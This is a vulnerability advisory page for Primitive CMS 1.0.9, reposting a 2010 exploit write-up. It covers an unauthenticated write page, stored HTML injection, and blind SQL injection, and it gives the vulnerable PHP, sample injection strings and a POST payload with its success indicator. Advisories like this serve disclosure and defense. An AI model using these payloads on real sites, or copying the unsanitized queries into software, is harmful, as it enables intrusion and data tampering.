Primitive CMS 1.0.9 htmld remote blind SQL injection

2010.09.22
Risk: High
Local: No
Remote: Yes

# Exploit Title: Primitive CMS 1.0.9 Multiple Vulnerabilities # Date: 20.09.2010 # Author: Stephan Sattler // Solidmedia.de # Software Website: http://www.bouzouste.info/ # Software Link: http://www.bouzouste.info/link/click.php?id=1 # Version: 1.0.9 [Vulnerability 1] # Unauthorized Access Url: http://[site]/[cmspath]/cms_write.php In cms_write.php is no check if the user has administration rights. Because of that, there are 2 more vulnerabilities. [Vulnerability 2] # Html Injection Url: http://[site]/[cmspath]/cms_write.php Vulnerable Code (cms_write.php line 13-25): $title=$_POST[title]; $content=$_POST[content]; $menutitle=$_POST[menutitle]; $sql="INSERT INTO `prim_page` ( `id` , `title` , `content`, `menutitle` ) VALUES ('', '$title', '$content', '$menutitle')"; mysql_query($sql); The title, Menu-title and Content a user can submit are inserted directly into the database and inserted in the html-code on the page without and sanitizing at all. Example for the Title: </title><h1>Testtitle</h1> Example for the Menu-Title: </a><h2>Menutitle</h2> [Vulnerability 3] # Blind SQL-Injection // PoC Url: http://[site]/[cmspath]/cms_write.php Vulnerable Code (cms_write.php line 13-16): $title=$_POST[title]; $menutitle=$_POST[menutitle]; $sqlcheck="SELECT * FROM prim_page WHERE title='$title' or menutitle='$menutitle' "; Postdata for Injection: title=&menutitle=home' AND (SELECT 1)='1&content=&submit=OK One can inject via title or menutitle, both are vulnerable. On success, you'll see the message: "H selida yparxei"

References:

http://www.vupen.com/english/advisories/2010/2458
http://www.exploit-db.com/exploits/15064
http://secunia.com/advisories/41515
http://packetstormsecurity.org/1009-exploits/primitive-sqlxss.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top